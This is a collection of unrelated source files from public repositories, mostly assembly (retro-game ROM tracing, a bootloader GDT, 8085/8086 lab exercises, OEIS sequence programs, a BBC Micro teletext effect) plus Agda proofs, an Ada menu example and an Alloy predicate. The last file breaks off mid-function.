05B938 clr.b ($4a,A6) [enemy+44, enemy+46]
05C3D8 move.l #$103000, ($44,A6) [enemy+ 6]
05C3E0 clr.b ($4a,A6) [enemy+44, enemy+46]
05EE4C move.l #$103000, ($44,A6) [enemy+ 4]
05EE54 clr.b ($4a,A6) [enemy+44, enemy+46]
05F61A move.l #$103000, ($44,A6)
05F622 clr.b ($4a,A6) [enemy+44, enemy+46]
06A21E move.l #$103c00, ($44,A6)
06A226 clr.b ($4a,A6) [enemy+44, enemy+46]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
stage1/gdt.asm | Killaship/limine | 658 | 22095 | gdt:
dw .size - 1 + 8 ; GDT size
dd .start - 8 ; GDT start address
.start:
; 32-bit code
dw 0xffff ; Limit
dw 0x0000 ; Base (low 16 bits)
db 0x00 ; Base (mid 8 bits)
db 10011010b ; Access
db 11001111b ; Granularity
db 0x00 ; Base (high 8 bits)
; 32-bit data
dw 0xffff ; Limit
dw 0x0000 ; Base (low 16 bits)
db 0x00 ; Base (mid 8 bits)
db 10010010b ; Access
db 11001111b ; Granularity
db 0x00 ; Base (high 8 bits)
.end:
.size: equ .end - .start
|
WEEK-4/11.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 0 | 167775 | LDA 9050
ANI 0F
STA 9051
HLT
|
oeis/003/A003141.asm | neoneye/loda-programs | 11 | 80360 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A003141: Minimal number of arcs whose reversal yields a transitive tournament.
; Submitted by <NAME>
; 0,0,0,1,1,3,4,7,8,12,15,20,22,28
mov $3,$0
mov $4,1
mov $5,1
lpb $3
mov $1,$4
sub $3,1
mul $1,$3
add $5,$4
div $1,$5
add $2,$1
sub $3,1
add $4,2
mov $5,1
lpe
mov $0,$2
|
programs/oeis/158/A158638.asm | neoneye/loda | 22 | 7608 | <gh_stars>10-100
; A158638: a(n) = 48*n^2 + 1.
; 1,49,193,433,769,1201,1729,2353,3073,3889,4801,5809,6913,8113,9409,10801,12289,13873,15553,17329,19201,21169,23233,25393,27649,30001,32449,34993,37633,40369,43201,46129,49153,52273,55489,58801,62209,65713,69313,73009,76801,80689,84673,88753,92929,97201,101569,106033,110593,115249,120001,124849,129793,134833,139969,145201,150529,155953,161473,167089,172801,178609,184513,190513,196609,202801,209089,215473,221953,228529,235201,241969,248833,255793,262849,270001,277249,284593,292033,299569,307201,314929,322753,330673,338689,346801,355009,363313,371713,380209,388801,397489,406273,415153,424129,433201,442369,451633,460993,470449
pow $0,2
mul $0,48
add $0,1
|
src/main/fragment/mos6502-common/vwsm1=vwsm1_plus_vwuc1.asm | jbrandwood/kickc | 2 | 165376 | <gh_stars>1-10
clc
lda {m1}
adc #<{c1}
sta {m1}
lda {m1}+1
adc #>{c1}
sta {m1}+1
|
lab1/example_c_1.asm | 0000Blaze/Microprocess | 0 | 10528 | <reponame>0000Blaze/Microprocess<gh_stars>0
# ORG 8000
LXI B,8090
LXI D,80A0
LDAX B
STAX D
HLT
# ORG 8090
# DB AA
|
archive/agda-1/Successor.agda | m0davis/oscar | 0 | 7631 |
module Successor where
open import OscarPrelude
record Successor {ℓᴬ} (A : Set ℓᴬ) {ℓᴮ} (B : Set ℓᴮ) : Set (ℓᴬ ⊔ ℓᴮ)
where
field
⊹ : A → B
open Successor ⦃ … ⦄ public
instance SuccessorNat : Successor Nat Nat
Successor.⊹ SuccessorNat = suc
instance SuccessorLevel : Successor Level Level
Successor.⊹ SuccessorLevel = lsuc
|
binary16/debug_fln.asm | DW0RKiN/Floating-point-Library-for-Z80 | 12 | 100447 | <gh_stars>10-100
if not defined FLN
INCLUDE "print_fp.asm"
; HL = ln(abs(HL))
DEBUG@FLN:
FLN:
CALL @FLN ; 3:17
PUSH HL ; 1:11
LD HL, 'L'+'N' * 256 ; 3:10 "LN"
LD A, COL_BLUE ; 2:7
JP PRINT_XFP ; 3:10
else
if not defined DEBUG@FLN
.WARNING You must include the file: debug_fln.asm before.
endif
endif
|
programs/oeis/017/A017026.asm | neoneye/loda | 22 | 169666 | ; A017026: a(n) = (7*n + 3)^10.
; 59049,10000000000,2015993900449,63403380965376,819628286980801,6278211847988224,34050628916015625,144555105949057024,511116753300641401,1568336880910795776,4297625829703557649,10737418240000000000,24842341419143568849,53861511409489970176,110462212541120451001,215892499727278669824,404555773570791015625,730463141542791783424,1276136419117121619201,2164656967840983678976,3575694237941010577249,5766503906250000000000,9099059901039401398249,14074678408802364030976,21377706189197971362201,31930081208285372007424,46958831761893056640625,68078861925529707085824,97393677359695041798001,137617037244838084658176,192218876443582475037849,265599227914240000000000,363294289954110647868649,492219227058666339787776,660952768068482275874401,880069171864760718721024,1162523670191533212890625,1524098070253174888244224,1983913807584764801017801,2565020383345125413093376,3295067800663118480459449,4207072333002010000000000,5340285714719489633060049,6741178641117286368280576,8464550303319308288547601,10574776563315896351130624,13147210297489166259765625,16269748403915564986138624,20044580980751735469518601,24590139241073610670744576,30043259834681392663962049,36561584400629760000000000,44326214376618333352652449,53544642343907161646949376,64453982490130814650341801,77324524128297629567156224,92463633619402804697265625,110220031509480408885249024,130988473210595027479940401,155214863130253740029771776,183401833786028468140265649,216114823132842490000000000,253988685080418137223925849,297734869988830416051634176,348149213801988574756617001,406120376413199518554317824,472638971854778498525390625,548807434965988718279655424,635850671321437457459323201,735127539396457050900734976,848143216207979632525690249,976562500000000000000000000,1122224105942936326061760249,1287156013287068781368574976,1473591924952786487925133201,1683988903155628637813735424,1921046247353091135244140625,2187725683563910797049037824,2487272936950060023861107001,2823240762468010977500594176,3199513511389984715762155849,3620333314568912490000000000,4090327966473728549854635649,4614540597255411369326411776,5198461223419918255364050401,5848060271082841870384129024,6569824169263281339853515625,7370793114242090371434676224,8258601109663365229397131801,9241518390798791533220709376,10328496345223305728741182449,11529215046068469760000000000,12854133518028030996340632049,14314542860389368888428184576,15922622355555940184939928601,17691498695810450884865818624,19635308465447330474853515625,21769264019877187453015450624,24109722907876309716269637601,26674260987821964133794840576
mul $0,7
add $0,3
pow $0,10
|
Task/Menu/Ada/menu-1.ada | LaudateCorpus1/RosettaCodeData | 1 | 13484 | <reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10
-- menu2.adb --
-- rosetta.org menu example
-- GPS 4.3-5 (Debian)
-- note: the use of Unbounded strings is somewhat overkill, except that
-- it allows Ada to handle variable length string data easily
-- ie: differing length menu items text
with Ada.Text_IO, Ada.Integer_Text_IO, Ada.Strings.Unbounded,
Ada.Strings.Unbounded.Text_IO;
use Ada.Text_IO, Ada.Integer_Text_IO,
Ada.Strings.Unbounded, Ada.Strings.Unbounded.Text_IO;
procedure menu2 is
package tio renames Ada.Integer_Text_IO;
-- rename package to use a shorter name, tio, as integer get prefix
menu_item : array (1..4) of Unbounded_String;
-- 4 menu items of any length
choice : integer := 0;
-- user selection entry value
procedure show_menu is
-- display the menu options and collect the users input
-- into locally global variable 'choice'
begin
for pntr in menu_item'first .. menu_item'last loop
put (pntr ); put(" "); put( menu_item(pntr)); new_line;
end loop;
put("chose (0 to exit) #:"); tio.get(choice);
end show_menu;
-- main program --
begin
menu_item(1) := to_unbounded_string("<NAME>");
menu_item(2) := to_unbounded_string("Huff & Puff");
menu_item(3) := to_unbounded_string("mirror mirror");
menu_item(4) := to_unbounded_string("tick tock");
-- setup menu selection strings in an array
show_menu;
loop
if choice in menu_item'range then
put("you chose #:");
case choice is
-- in a real menu, each case would execute appropriate user procedures
when 1 => put ( menu_item(choice)); new_line;
when 2 => put ( menu_item(choice)); new_line;
when 3 => put ( menu_item(choice)); new_line;
when 4 => put ( menu_item(choice)); new_line;
when others => null;
end case;
show_menu;
else
put("Menu selection out of range"); new_line;
if choice = 0 then exit; end if;
-- need a exit option !
show_menu;
end if;
end loop;
end menu2;
|
MULTIPLICACION 0.5.asm | Jon2G/ASMCalculator | 0 | 173608 | <filename>MULTIPLICACION 0.5.asm<gh_stars>0
.model small
.data
;num1 db 0,1,2,3,4,5,6,7,8,9,'$'
;decimales_1 db 0,1,2,3,4,5,6,7,8,9,'$'
;num2 db 0,1,2,3,4,5,6,7,8,9,'$'
;decimales_2 db 0,1,2,3,4,5,6,7,8,9,'$'
;num1 db 0,0,0,0,0,0,0,5,3,1,'$'
;decimales_1 db 0,3,1,0,0,0,0,0,0,0,'$'
;num2 db 0,0,0,0,0,0,0,0,1,7,'$'
;decimales_2 db 0,0,0,0,0,0,0,0,0,0,'$'
;.
;num_1_mult db 0,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,'$'
;num_2_mult db 0,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,'$'
num_1_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,1,7,'$'
num_2_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,1,4,'$'
over_flow_res db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
num_res_mult db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'$'
;over_flow_num_res db 0,0,0,0,0,0,0,0,0,0 ;multiplicaciones de 9 digitos por 9 digitos puden dar resultados de hasta 18 digitos
;num_res db 0,0,0,0,0,0,0,0,0,0,'$' ;estos digitos son "atrapados por la variable de overflow
;over_flow_dec_res db 0,0,0,0,0,0,0,0,0,0
;decimales_Res db 0,0,0,0,0,0,0,0,0,0,'$'
hay_overFlow db 00h ;bandera para que el en el resultado considere los digitos en over_flow_num_res
hay_acarreo db 00h
aux db 00h
.stack
.code
begin proc far
mov ax,@data
mov ds,ax
CALL MULTIPLICA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;IMPRIMIR RESULTADO
LEA DX,num_res_mult
MOV AH,09
INT 21H
XOR AX,AX
INT 16H
begin endp
MULTIPLICA PROC NEAR
;MULTIPLICAR PARTES ENTERAS SIN IMPORTAR ACARREOS
MOV SI,12h ;indice del multiplicador
MOV DI,12h ;indice del multiplicando
MOV BX,00h ;representa las posiciones de la suma dentro de la multiplicacion
siguiente_multiplicador_e:
siguiente_multiplicando_e:
MOV AL,num_1_mult[SI] ;movemos el multiplicador a Al
MOV DL,num_2_mult[DI] ;movemos el multiplicando a Dl
MUL Dl ; AL*Dl resultado en Ax
AAM ;desempacamos el resultado de la multiplicacion previa
SUB DI,BX ;decrementamos Di por la posicion de los multiplicandos
ADD num_res_mult[DI],Al ;agregamos la parte baja a la posicion de DI en num_res
ADD num_res_mult[DI-1],Ah ;agregamos la parte alta a la siguiente posicion de DI en num_res
ADD DI,BX ;restauramos Di para obtener la posicion real de el siguiente multiplicando
DEC DI ;decrementamos el indice del multiplicando
CMP DI,01H
JAE siguiente_multiplicando_e
;incrementamos contador de posiciones de multiplicandos
INC BX ;incrementamos el desplazamiento de la suma
MOV DI,12h ;volvemos al primer indice de los multiplicandos
DEC SI ;decrementamos el indice del multiplicador
CMP SI,01H
JAE siguiente_multiplicador_e
MOV hay_overFlow,01h
XOR AX,AX
INT 16H
acarreo_del_Acarreo:
MOV hay_acarreo,00h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;AJUSTAR LOS ACARREOS ENTEROS
MOV SI,25h ;los resultados de multiplicaciones 9 enteros*9 enteros pueden llegar a tener hasta 18 digitos
JMP siguiente_Acarreo_entero
;
AcarreoEntero:
MOV hay_acarreo,01h
MOV Al,over_flow_res[SI]
AAM
ADD over_flow_res[SI-1],Ah
MOV over_flow_res[SI],Al
DEC SI
siguiente_Acarreo_entero:
CMP over_flow_res[SI],0Ah
JAE AcarreoEntero
DEC SI
JNS siguiente_Acarreo_entero
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CMP hay_acarreo,01h
JNE no_mas_acarreo_mul
JMP acarreo_del_Acarreo
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
no_mas_acarreo_mul:
;;CONJUGAR LA PARTE ENTERA CON LA PARTE DECIMAL
;;AGREGANDO COMO DESPLAZAMIENTO LA CANTIDAD DE DIGITOS DECIMALES QUE CONTIENE
XOR AX,AX
INT 16H
;;AJUSTAR PARA IMPRESION
;;ajustar la parte entera
MOV SI,13h
JMP inicia_ajuste
salta_fin:
DEC SI
JMP inicia_ajuste
inicia_ajuste:
MOV AL,num_res_mult[SI]
CMP AL,24h
JE salta_fin
ADD AL,30h
MOV num_res_mult[SI],AL
DEC SI
JNS inicia_ajuste
RET
MULTIPLICA ENDP
end begin |
alloy4fun_models/trashltl/models/17/LLvqoWYsAacXzPmuM.als | Kaixi26/org.alloytools.alloy | 0 | 1446 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idLLvqoWYsAacXzPmuM_prop18 {
always all f : Protected | f in Trash until f not in Protected
}
pred __repair { idLLvqoWYsAacXzPmuM_prop18 }
check __repair { idLLvqoWYsAacXzPmuM_prop18 <=> prop18o } |
agda/book/Programming_Language_Foundations_in_Agda/x02-842Induction-hc.agda | haroldcarr/learn-haskell-coq-ml-etc | 36 | 5974 | <filename>agda/book/Programming_Language_Foundations_in_Agda/x02-842Induction-hc.agda
module x02-842Induction-hc where
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; refl; cong; sym)
open Eq.≡-Reasoning using (begin_; _≡⟨⟩_; _∎)
open import Data.Nat using (ℕ; zero; suc; _+_; _*_; _∸_)
-- associativity
_ : (3 + 4) + 5 ≡ 3 + (4 + 5)
_ =
begin
(3 + 4) + 5 ≡⟨⟩
7 + 5 ≡⟨⟩
12 ≡⟨⟩
3 + 9 ≡⟨⟩
3 + (4 + 5)
∎
+-identityᴸ : ∀ (m : ℕ) → zero + m ≡ m
+-identityᴸ m = refl -- via def/eq
+-identityʳ : ∀ (m : ℕ) → m + zero ≡ m
+-identityʳ zero = refl
+-identityʳ (suc m) -- suc m + zero ≡ suc m
-- suc (m + zero) ≡ suc m
rewrite +-identityʳ m -- suc m ≡ suc m
= refl
+-assoc : ∀ (m n p : ℕ) → (m + n) + p ≡ m + (n + p)
+-assoc zero n p = refl
+-assoc (suc m) n p -- suc m + n + p ≡ suc m + (n + p)
-- suc (m + n + p) ≡ suc (m + (n + p))
rewrite +-assoc m n p -- suc (m + (n + p)) ≡ suc (m + (n + p))
= refl
+-suc : ∀ (m n : ℕ) → m + suc n ≡ suc (m + n)
+-suc zero n = refl
+-suc (suc m) n -- suc (m + suc n) ≡ suc (suc (m + n))
rewrite +-suc m n -- suc (suc (m + n)) ≡ suc (suc (m + n))
= refl
+-comm : ∀ (m n : ℕ) → m + n ≡ n + m
+-comm zero n -- zero + n ≡ n + zero
-- n ≡ n + zero
rewrite +-identityʳ n -- n ≡ n
= refl
+-comm (suc m) zero -- suc m + zero ≡ zero + suc m
-- suc (m + zero) ≡ suc m
rewrite +-identityʳ m -- suc m ≡ suc m
= refl
+-comm (suc m) (suc n) -- suc m + suc n ≡ suc n + suc m
-- suc (m + suc n) ≡ suc (n + suc m)
rewrite
+-suc m n -- suc (suc (m + n)) ≡ suc (n + suc m)
| +-suc n m -- suc (suc (m + n)) ≡ suc (suc (n + m))
| +-comm m n -- suc (suc (n + m)) ≡ suc (suc (n + m))
= refl
-- without using induction/recursion
+-swap : ∀ (m n p : ℕ) → (m + n) + p ≡ n + (m + p)
+-swap zero n p = refl
+-swap (suc m) n p -- suc m + n + p ≡ n + (suc m + p)
-- suc (m + n + p) ≡ n + suc (m + p)
rewrite
+-suc n (m + p) -- suc (m + n + p) ≡ suc (n + (m + p))
| +-comm m n -- suc (n + m + p) ≡ suc (n + (m + p))
| +-assoc n m p -- suc (n + (m + p)) ≡ suc (n + (m + p))
= refl
-- addition distributes over multiplication
*-+-rdistrib : ∀ (m n p : ℕ) → (m + n) * p ≡ m * p + n * p
*-+-rdistrib zero n p = refl
*-+-rdistrib (suc m) n p -- (suc m + n) * p ≡ suc m * p + n * p
-- p + (m + n) * p ≡ p + m * p + n * p
rewrite
*-+-rdistrib m n p -- p + (m * p + n * p) ≡ p + m * p + n * p
| +-assoc p (m * p) (n * p) -- p + (m * p + n * p) ≡ p + (m * p + n * p)
= refl
*-assoc : ∀ (m n p : ℕ) → (m * n) * p ≡ m * (n * p)
*-assoc zero n p = refl
*-assoc (suc m) n p -- suc m * n * p ≡ suc m * (n * p)
-- (n + m * n) * p ≡ n * p + m * (n * p)
rewrite
*-+-rdistrib n (m * n) p -- n * p + m * n * p ≡ n * p + m * (n * p)
| *-assoc m n p -- n * p + m * (n * p) ≡ n * p + m * (n * p)
= refl
*0 : ∀ (n : ℕ) → n * zero ≡ zero
*0 zero = refl
*0 (suc n) = *0 n
*-suc : ∀ (m n : ℕ) → m * suc n ≡ m + (m * n)
*-suc zero n = refl
*-suc (suc m) n -- suc m * suc n ≡ suc m + suc m * n
-- suc (n + m * suc n) ≡ suc (m + (n + m * n))
rewrite
*-suc m n -- suc (n + (m + m * n)) ≡ suc (m + (n + m * n))
| sym (+-assoc n m (m * n)) -- suc (n + m + m * n) ≡ suc (m + (n + m * n))
| +-comm n m -- suc (m + n + m * n) ≡ suc (m + (n + m * n))
| +-assoc m n (m * n) -- suc (m + (n + m * n)) ≡ suc (m + (n + m * n))
= refl
*-comm : ∀ (m n : ℕ) → m * n ≡ n * m
*-comm zero n rewrite *0 n = refl
*-comm (suc m) n -- suc m * n ≡ n * suc m
-- n + m * n ≡ n * suc m
rewrite
*-suc n m -- n + m * n ≡ n + n * m
| *-comm m n -- n + n * m ≡ n + n * m
= refl
0∸n≡0 : ∀ (m : ℕ) → zero ∸ m ≡ zero
0∸n≡0 zero = refl
0∸n≡0 (suc m) rewrite 0∸n≡0 m = refl
-- form of associativity for monus
∸-+-assoc : ∀ (m n p : ℕ) → m ∸ n ∸ p ≡ m ∸ (n + p)
∸-+-assoc zero n p -- zero ∸ n ∸ p ≡ zero ∸ (n + p)
rewrite
0∸n≡0 n -- 0 ∸ p ≡ 0 ∸ (n + p)
| 0∸n≡0 p -- 0 ≡ 0 ∸ (n + p)
| 0∸n≡0 (n + p) -- 0 ≡ 0
= refl
∸-+-assoc m zero p -- m ∸ p ≡ m ∸ p
= refl
∸-+-assoc m n zero -- m ∸ n ≡ m ∸ (n + zero)
rewrite +-identityʳ n -- m ∸ n ≡ m ∸ n
= refl
∸-+-assoc (suc m) (suc n) p -- m ∸ n ∸ p ≡ m ∸ (n + p)
rewrite ∸-+-assoc m n p -- m ∸ (n + p) ≡ m ∸ (n + p)
= refl
------------------------------------------------------------------------------
-- properties of binary representation
-- BEGIN copied from 842Naturals
data Bin-ℕ : Set where
bits : Bin-ℕ
_x0 : Bin-ℕ → Bin-ℕ
_x1 : Bin-ℕ → Bin-ℕ
dbl : ℕ → ℕ
dbl zero = zero
dbl (suc n) = suc (suc (dbl n))
inc : Bin-ℕ → Bin-ℕ
inc bits = bits x1
inc (m x0) = m x1
inc (m x1) = inc m x0
tob : ℕ → Bin-ℕ
tob zero = bits
tob (suc m) = inc (tob m)
fromb : Bin-ℕ → ℕ
fromb bits = 0
fromb (n x0) = dbl (fromb n)
fromb (n x1) = suc (dbl (fromb n))
_bin-+_ : Bin-ℕ → Bin-ℕ → Bin-ℕ
bl bin-+ bits = bl
bits bin-+ br = br
(bl x0) bin-+ (br x0) = (bl bin-+ br) x0
(bl x0) bin-+ (br x1) = (bl bin-+ br) x1
(bl x1) bin-+ (br x0) = (bl bin-+ br) x1
(bl x1) bin-+ (br x1) = inc ((bl bin-+ br) x1)
-- END copied from 842Naturals
dblb : Bin-ℕ → Bin-ℕ
dblb b = b x0
_ : dblb (tob 3) ≡ tob 6
_ = refl
_ : dblb (tob 7) ≡ tob 14
_ = refl
_ : dblb (tob 9) ≡ tob 18
_ = refl
from∘inc : ∀ (b : Bin-ℕ) → fromb (inc b) ≡ suc (fromb b)
from∘inc bits = refl
from∘inc (b x0) = refl
from∘inc (b x1) -- fromb (inc (b x1)) ≡ suc (fromb (b x1))
-- dbl (fromb (inc b)) ≡ suc (suc (dbl (fromb b)))
rewrite from∘inc b -- suc (suc (dbl (fromb b))) ≡ suc (suc (dbl (fromb b)))
= refl
from∘tob : ∀ (m : ℕ) → fromb (tob m) ≡ m
from∘tob zero = refl
from∘tob (suc m) -- fromb (tob (suc m)) ≡ suc m
-- fromb (inc (tob m)) ≡ suc m
rewrite
from∘inc (tob m) -- suc (fromb (tob m)) ≡ suc m
| from∘tob m -- suc m ≡ suc m
= refl
-- The property ∀ (m : Bin-ℕ) → tob (fromb m) ≡ m cannot be proved.
-- Because there are two representations of zero.
-- The following restriction can be proved:
to/from-corr : ∀ (b : Bin-ℕ) (n : ℕ) → b ≡ tob n → fromb b ≡ n -- TODO
to/from-corr b n b≡tn = {!!}
dblb∘inc : ∀ (b : Bin-ℕ) → dblb (inc b) ≡ inc (inc (dblb b))
dblb∘inc bits = refl
dblb∘inc (b x0) -- dblb (inc (b x0)) ≡ inc (inc (dblb (b x0)))
-- dblb (b x1) ≡ ((b x1) x0)
rewrite dblb∘inc b -- ((b x1) x0) ≡ ((b x1) x0)
= refl
dblb∘inc (b x1) -- dblb (inc (b x1)) ≡ inc (inc (dblb (b x1)))
-- dblb (inc b x0) ≡ ((inc b x0) x0)
rewrite dblb∘inc b -- ((inc b x0) x0) ≡ ((inc b x0) x0)
= refl
{-
-- more BIN properties to prove
-- not sure this can be proved because of multiple representations of zero
to∘dbl : ∀ (m : ℕ) → tob (dbl m) ≡ dblb (tob m) -- TODO -- not sure if provable because of zero
to∘dbl zero -- tob (dbl zero) ≡ dblb (tob zero)
-- bits ≡ dblb bits
= {!!}
to∘dbl (suc m) -- tob (dbl (suc m)) ≡ dblb (tob (suc m))
-- inc (inc (tob (dbl m))) ≡ dblb (inc (tob m))
rewrite to∘dbl m -- (inc (tob m) x0) ≡ (inc (tob m) x0)
= refl
from∘dblb : ∀ (b : Bin-ℕ) → fromb (dblb b) ≡ dbl (fromb b)
from∘dblb b = refl
-- bit version of second case for unary addition: suc m + n = suc (m + n)
-- useful in the next proof
-- hint: use induction on both parameters
bin-+-linc : ∀ (b1 b2 : Bin-ℕ) → (inc b1) bin-+ b2 ≡ inc (b1 bin-+ b2) -- TODO
bin-+-linc b1 bits = refl
bin-+-linc bits (b2 x0) = {!!}
bin-+-linc bits (b2 x1) = {!!}
bin-+-linc (b1 x0) b2 = {!!}
bin-+-linc (b1 x1) b2 = {!!}
-- 842 exercise: PlusUnaryBinary (2 points)
-- This theorem relates unary and binary addition.
to∘+ : ∀ (m n : ℕ) → tob (m + n) ≡ tob m bin-+ tob n -- TODO
to∘+ m n = {!!}
-}
{-
The follwing theorems can be found in:
import Data.Nat.Properties using (+-assoc; +-identityʳ; +-suc; +-comm)
-- Unicode
∀ U+2200 FOR ALL (\forall, \all)
ʳ U+02B3 MODIFIER LETTER SMALL R (\^r)
′ U+2032 PRIME (\')
″ U+2033 DOUBLE PRIME (\')
‴ U+2034 TRIPLE PRIME (\')
⁗ U+2057 QUADRUPLE PRIME (\')
-}
|
src/fx/interference.asm | bitshifters/teletextr | 8 | 90375 |
; classic circle interference pattern
; uses large sprite of concentric circles drawn in two layers
; requires 6x versions of sprite in all offsets i.e. lots of memory
.start_fx_interference
INTERFERENCE_shadow_addr = MODE7_VRAM_SHADOW + MODE7_char_width + 3 ; currently writing 36x22 character screen
INTERFERENCE_sprite_width = 54
INTERFERENCE_sprite_height = 33
INTERFERENCE_screen_width = 37
INTERFERENCE_screen_height = 24
INTERFERENCE_max_x = (INTERFERENCE_sprite_width - INTERFERENCE_screen_width) * 2 ; in pixels
INTERFERENCE_max_y = (INTERFERENCE_sprite_height - INTERFERENCE_screen_height) * 3 ; in pixels
INTERFERENCE_table_size = 64 ; sin table for X
\ ******************************************************************
\ * Interference FX
\ ******************************************************************
\\ Local variables - could probably get rid of most of these
\\ or use a temp ZP variable for speed
.fx_interference_plot_x
EQUB 0
.fx_interference_plot_y
EQUB 0
.fx_interference_char_x
EQUB 0
.fx_interference_char_y
EQUB 0
.fx_interference_set_ptrs
{
\\ X coordinate to char
STX fx_interference_plot_x ; 4c
TXA ; 2c
AND #&1
CLC
ADC fx_interference_plot_x ; char x = (x + (x&1)) DIV 2 as effectively negative
LSR A ; 2c
\\ Y coordinate to char
STY fx_interference_plot_y
\\ X,Y are effectively negative so:
\\ 0->0,0 1->1,2 2->1,1 3->1,0 4->2,2 5->2,1 6->3,0
INY:INY
LDX mode7_sprites_div3_table, Y ; 4c
\\ A still contains fx_interference_char_x
\\ Calculate internal sprite address
CLC ; 2c
ADC fx_interference_mult_LO, X ; 4c
STA readptr
LDA fx_interference_mult_HI, X ; 4c
ADC #0
STA readptr+1
\\ Where are we reading data from?
\\ Calculate offset 0 - 5
.mode7_sprites_plot_x
LDY fx_interference_plot_y
SEC
LDA #3
SBC mode7_sprites_mod3_table, Y ; 4c
CMP #3
BCC y_offset_ok
LDA #0 ; y_offset actually (3 - (y MOD 3))
.y_offset_ok
TAY
LDA fx_interference_plot_x ; 2c
AND #&1 ; 2c x_offset
ORA mode7_sprites_mod3_table, Y ; 4c y_offset
\\ Multiply by our offset to locate sprite data
TAX ; 2c
CLC
LDA readptr
ADC fx_interference_table_LO, X ; 4c
STA readptr
LDA readptr+1
ADC fx_interference_table_HI, X ; 4c
STA readptr+1
\\ Set our write pointer
LDA #LO(INTERFERENCE_shadow_addr)
STA writeptr
LDA #HI(INTERFERENCE_shadow_addr)
STA writeptr+1
.return
RTS
}
\\ Draw our sprite with offset X,Y in pixels to entire screen
.fx_interference_draw_screen
{
\\ Calculate our read pointer based on X,Y
\\ Write pointer is always start of screen
JSR fx_interference_set_ptrs
LDX #0
.y_loop
\\ Copy a row of characters
LDY #0
.x_loop
LDA (readptr), Y
STA (writeptr), Y
INY
CPY #INTERFERENCE_screen_width
BNE x_loop
\\ Next row of sprite data
CLC
LDA readptr
ADC #INTERFERENCE_sprite_width
STA readptr
LDA readptr+1
ADC #0
STA readptr+1
\\ Next row of screen
CLC
LDA writeptr
ADC #MODE7_char_width
STA writeptr
LDA writeptr+1
ADC #0
STA writeptr+1
\\ Until done
INX
CPX #INTERFERENCE_screen_height
BNE y_loop
.return
RTS
}
\\ Draw our sprite with offset X,Y in pixels to entire screen
.fx_interference_blend_screen
\\{
\\ Calculate our read pointer based on X,Y
\\ Write pointer is always start of screen
JSR fx_interference_set_ptrs
LDX #0
.fx_interference_blend_screen_y_loop
\\ Copy a row of characters
LDY #0
.fx_interference_blend_screen_x_loop
LDA (readptr), Y
\\ Can poke in different blend instruction here - e.g. ORA
.fx_interference_blend_screen_blend_instruction
EOR (writeptr), Y
ORA #32 ; always need 32!
STA (writeptr), Y
INY
CPY #INTERFERENCE_screen_width
BNE fx_interference_blend_screen_x_loop
\\ Next row of sprite data
CLC
LDA readptr
ADC #INTERFERENCE_sprite_width
STA readptr
LDA readptr+1
ADC #0
STA readptr+1
\\ Next row of screen
CLC
LDA writeptr
ADC #MODE7_char_width
STA writeptr
LDA writeptr+1
ADC #0
STA writeptr+1
\\ Until done
INX
CPX #INTERFERENCE_screen_height
BNE fx_interference_blend_screen_y_loop
.fx_interference_blend_screen_return
RTS
\\}
\\ Set our blend mode
.fx_interference_set_blend_ora
{
LDA #OPCODE_ora_indirect_Y
STA fx_interference_blend_screen_blend_instruction
.return
RTS
}
.fx_interference_set_blend_eor
{
LDA #OPCODE_eor_indirect_Y
STA fx_interference_blend_screen_blend_instruction
.return
RTS
}
\\ Local variables for motion
.fx_interference_x
EQUB 0
.fx_interference_dx
EQUB 1
.fx_interference_y
EQUB 0
.fx_interference_dy
EQUB 1
.fx_interference_x_idx
EQUB 0
\\ Main update function
.fx_interference_update
{
